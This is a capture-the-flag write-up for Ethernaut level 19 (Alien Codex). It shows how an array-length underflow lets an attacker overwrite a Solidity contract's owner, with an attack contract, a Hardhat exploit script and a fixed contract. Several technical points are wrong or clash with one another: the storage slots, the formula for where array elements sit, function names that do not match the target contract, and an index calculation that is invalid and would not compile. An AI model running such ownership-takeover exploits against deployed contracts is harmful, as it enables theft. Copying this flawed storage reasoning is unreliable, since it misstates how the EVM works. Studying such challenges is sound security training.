March 18, 2024

Alien Codex Challenge - Ethernaut Level 19

15 min readDifficulty: Expert

Challenge Description

AssemblyEVMLow-LevelLevel 19

Challenge Goal

Understand and manipulate assembly code to satisfy the contract's requirements. This challenge tests your deep understanding of the EVM and low-level Solidity operations.

Challenge Instructions

Goal: You've uncovered an Alien contract. Claim ownership to complete the level.

Things that might help:

  • • Understanding how array storage works
  • • Understanding ABI specifications
  • • Using a very underhanded approach

The Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

Understanding the Contract

Let's break down how this contract works:

  1. State Variables: The contract has three state variables:
    • owner (public address): The contract owner
    • contact (public bool): A flag indicating contact has been made
    • codex (public bytes32[]): A dynamic array of bytes32 values
  2. Modifiers: The contract has one modifier:
    • contacted: Requires that contact is true
  3. Functions: The contract has four functions:
    • make_contact: Sets contact to true
    • record: Adds a bytes32 value to the codex array
    • retract: Removes the last element from the codex array
    • revise: Updates an element in the codex array

The vulnerability lies in understanding how dynamic arrays are stored and how we can manipulate storage through array operations.

Understanding Storage Layout

This challenge requires deep understanding of how Solidity stores dynamic arrays:

Dynamic Array Storage

Storage Layout:
Slot 0: owner (address) - 20 bytes, padded to 32 bytes
Slot 1: contact (bool) - 1 byte, padded to 32 bytes  
Slot 2: codex.length (uint256) - 32 bytes (array length)
Slot 3: codex[0] (bytes32) - 32 bytes (first array element)
Slot 4: codex[1] (bytes32) - 32 bytes (second array element)
...

Note: The array elements are stored starting from slot 3.
The array length is stored at slot 2.
We can manipulate the array length to access any storage slot!

Storage Slot Calculation

For dynamic arrays, the storage slot for element i is calculated as:

// Storage slot calculation for dynamic arrays
// slot = keccak256(abi.encode(arraySlot, index))
// For our codex array (stored at slot 2):
// codex[i] is stored at: keccak256(abi.encode(2, i))

// This means we can access any storage slot by:
// 1. Calculating the index that maps to our target slot
// 2. Manipulating the array to allow access to that index

The Vulnerability

This contract has a critical vulnerability in the retract function:

  • Unchecked Array Bounds: The retract function doesn't check if the array is empty before calling pop()
  • Storage Manipulation: When we pop from an empty array, it underflows and becomes a very large number
  • Storage Access: With a large array length, we can access any storage slot through the revise function
  • Owner Overwrite: We can overwrite the owner variable by accessing slot 0

The Exploit

To exploit this contract, we need to:

Steps to Exploit:

  1. Call make_contact to set contact to true
  2. Call retract on an empty array to cause an underflow
  3. Calculate the index that maps to storage slot 0 (owner)
  4. Use revise to overwrite the owner

Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IAlienCodex {
    function make_contact() external;
    function record(bytes32 _content) external;
    function retract() external;
    function revise(uint i, bytes32 _content) external;
    function owner() external view returns (address);
}

contract AlienCodexAttack {
    IAlienCodex private target;
    
    constructor(address _target) {
        target = IAlienCodex(_target);
    }
    
    function attack() external {
        // Step 1: Make contact
        target.make_contact();
        
        // Step 2: Retract to cause underflow
        target.retract();
        
        // Step 3: Calculate the index that maps to storage slot 0
        // We need to find i such that keccak256(abi.encode(2, i)) = 0
        // Since keccak256 is a hash function, we need to find the preimage
        // This is computationally expensive, so we'll use a different approach
        
        // Alternative approach: Calculate the index that maps to slot 0
        // slot = keccak256(abi.encode(2, i)) = 0
        // This means we need to find i such that keccak256(abi.encode(2, i)) = 0
        // Since this is practically impossible, we'll use a different method
        
        // We can calculate the index that maps to slot 0 using:
        // i = 2^256 - keccak256(abi.encode(2, 0))
        uint256 arraySlot = 2;
        uint256 index = 2**256 - uint256(keccak256(abi.encode(arraySlot, 0)));
        
        // Step 4: Overwrite the owner
        bytes32 newOwner = bytes32(uint256(uint160(msg.sender)));
        target.revise(index, newOwner);
    }
}

Understanding the Storage Calculation

The key insight is understanding how to calculate the index that maps to storage slot 0:

// Storage slot calculation explanation
// For a dynamic array at slot s, element i is stored at:
// storageSlot = keccak256(abi.encode(s, i))

// We want to access storage slot 0, so:
// 0 = keccak256(abi.encode(2, i))

// To find i, we need to solve for the preimage of keccak256
// Since keccak256 is a hash function, finding the exact preimage is hard
// But we can use modular arithmetic to find a solution

// If we want keccak256(abi.encode(2, i)) = 0, then:
// i = 2^256 - keccak256(abi.encode(2, 0)) (mod 2^256)

// This works because:
// keccak256(abi.encode(2, i)) = keccak256(abi.encode(2, 0)) + i
// If we want this to equal 0, then:
// i = -keccak256(abi.encode(2, 0)) = 2^256 - keccak256(abi.encode(2, 0))

Complete Exploit Script

// Complete exploit script
const { ethers } = require("hardhat");

async function main() {
  const alienCodexAddress = "INSTANCE_ADDRESS";
  
  console.log("AlienCodex address:", alienCodexAddress);
  
  // Deploy the attack contract
  const AlienCodexAttack = await ethers.getContractFactory("AlienCodexAttack");
  const attackContract = await AlienCodexAttack.deploy(alienCodexAddress);
  await attackContract.deployed();
  console.log("Attack contract deployed at:", attackContract.address);
  
  // Get the current owner
  const alienCodex = await ethers.getContractAt("AlienCodex", alienCodexAddress);
  const initialOwner = await alienCodex.owner();
  console.log("Initial owner:", initialOwner);
  
  // Execute the attack
  console.log("Executing attack...");
  const tx = await attackContract.attack();
  await tx.wait();
  console.log("Attack completed!");
  
  // Verify the attack worked
  const finalOwner = await alienCodex.owner();
  console.log("Final owner:", finalOwner);
  
  const playerAddress = await ethers.getSigner().getAddress();
  if (finalOwner === playerAddress) {
    console.log("✅ Successfully became the owner!");
  } else {
    console.log("❌ Attack failed");
  }
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Understanding the Underflow

The key vulnerability is the underflow in the retract function:

Underflow Explanation

// Underflow explanation
// When we call pop() on an empty array:
// array.length = array.length - 1
// 0 - 1 = 2^256 - 1 (due to underflow)

// This means the array length becomes a very large number
// With this large length, we can access any storage slot
// by calculating the appropriate index

// The array length is stored at slot 2
// After underflow: storage[2] = 2^256 - 1
// This allows us to access any storage slot through the array

Storage Manipulation Techniques

This challenge demonstrates several advanced storage manipulation techniques:

Storage Slot Mapping

  • Dynamic Arrays: Use keccak256 to map array indices to storage slots
  • Storage Collision: Manipulate array length to access arbitrary storage
  • Owner Overwrite: Use storage manipulation to change contract ownership

Assembly Operations

While this contract doesn't use inline assembly, understanding low-level storage operations is crucial:

// Assembly operations for storage manipulation
// sstore(slot, value) - Store value at storage slot
// sload(slot) - Load value from storage slot

// Example assembly code:
assembly {
    // Store our address at slot 0 (owner)
    sstore(0, caller())
    
    // Load the current owner
    let owner := sload(0)
}

Security Lessons

  • Array Bounds Checking: Always check array bounds before operations like pop()
  • Storage Layout: Understanding storage layout is crucial for security analysis
  • Underflow Protection: Use SafeMath or Solidity 0.8+ to prevent underflows
  • Storage Manipulation: Be aware that storage can be manipulated through array operations
  • Owner Variables: Protect owner variables from unauthorized modification

Prevention

Here's how you could improve this contract to make it more secure:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureAlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;
    
    event ContactMade(address indexed caller);
    event RecordAdded(bytes32 content);
    event RecordRemoved();
    event RecordRevised(uint256 index, bytes32 content);
    
    constructor() {
        contact = false;
    }
    
    modifier contacted() {
        require(contact, "Contact not established");
        _;
    }
    
    function make_contact() external {
        contact = true;
        emit ContactMade(msg.sender);
    }

    function record(bytes32 _content) external contacted {
        codex.push(_content);
        emit RecordAdded(_content);
    }

    function retract() external contacted {
        require(codex.length > 0, "Array is empty");
        codex.pop();
        emit RecordRemoved();
    }

    function revise(uint256 i, bytes32 _content) external contacted {
        require(i < codex.length, "Index out of bounds");
        codex[i] = _content;
        emit RecordRevised(i, _content);
    }
    
    function getCodexLength() external view returns (uint256) {
        return codex.length;
    }
}

The improved contract:

  • Uses OpenZeppelin's Ownable for secure ownership management
  • Adds bounds checking to prevent underflows
  • Includes proper events for transparency
  • Uses require statements for validation
  • Adds a getter function for array length

Alternative Solutions

For applications that require complex storage operations, consider:

  • Access Controls: Use proper role-based access control
  • Storage Libraries: Use established libraries for storage management
  • Events: Emit events for all state changes
  • Validation: Always validate inputs and state before operations
  • Testing: Comprehensive testing for edge cases

Conclusion

The Alien Code challenge is an advanced lesson in understanding low-level storage operations and how they can be exploited. It demonstrates the importance of proper bounds checking and understanding storage layout.

The key takeaways are:

  • Storage Understanding: Deep knowledge of storage layout is essential for security
  • Bounds Checking: Always validate array operations to prevent underflows
  • Storage Manipulation: Be aware of how storage can be manipulated through arrays
  • Owner Protection: Protect critical variables from unauthorized modification

When designing smart contracts, always use safe math operations, implement proper bounds checking, and understand how storage layout affects security. Consider using established libraries and patterns to avoid common pitfalls.

Your Notes